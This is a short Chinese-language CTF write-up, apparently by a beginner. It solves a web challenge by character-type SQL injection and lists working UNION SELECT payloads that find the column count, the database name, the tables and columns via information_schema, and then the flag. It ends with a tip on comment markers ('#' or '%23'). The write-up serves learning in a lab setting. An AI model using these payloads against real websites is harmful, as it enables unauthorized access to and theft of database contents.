题目如下
因为有输入框,我习惯初步判断它为sql注入
1.测试是否存在注入点,输入 1'
结果报错了,然后尝试 1"
2.知道存在注入,且为字符型注入。然后进行字段数猜测
直到字段数为4开始报错
3.尝试获得显示位
4.查库名
5.查表名
6.查列名
7.获取flag
到这里本题就已经解出来了,下面是我在上面用到的sql语句。
1'
1"
1'order by 1#
-1'union select 1,2,3#
-1'union select 1,database(),3#
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'#
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='列名'#
-1'union select 1,group_concat(列里面的内容),3 from 列名#
需要注意的是一开始我使用的注释符号是--+但是使用什么语句都会报错,后来把注释符号改成了#。我稍微查了一下,这好像跟php版本有关,有时候可能#用不了,要直接用%23(#的url编码)才行
===============================================================
鄙人为ctf新手,本文若有错误,请大佬评论或私聊斧正,还请各位多多担待。